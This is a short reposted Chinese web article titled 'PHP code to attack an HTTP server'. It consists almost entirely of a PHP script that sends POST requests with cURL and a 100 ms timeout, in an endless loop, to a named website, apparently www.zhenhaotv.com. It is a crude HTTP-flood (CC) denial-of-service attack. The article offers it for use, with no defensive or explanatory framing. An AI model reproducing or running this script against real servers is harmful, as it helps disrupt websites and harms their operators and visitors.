PHP代码实现攻击HTTP服务器

字体大小: 中小 标准 ->行高大小: 标准
function cc(){
$url='http://www.zhenhaotv.com/';
$postdata=array('text'=>'%BD%D3%BF%DA%BF%D5%BC%E4%BF%D5%BC%E4%BF%D5%BC%E4%BD%D3%BF%DA',
'fonts'=>'01','fontsize'=>'68','wzcolor'=>'000000','bgcolor'=>'FFFFFF'); 
$ch=curl_init(); //get没有以下两行
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);//
curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
curl_setopt($ch,CURLOPT_TIMEOUT_MS, 100);//执行
$re=curl_exec($ch);curl_close($ch); 
echo $re;//代码到这里就结束了,接下来,可以执行,
}
for(;;){  
  cc();
}

此文章由 http://www.ositren.com 收集整理 ,地址为: http://www.ositren.com/htmls/67526.html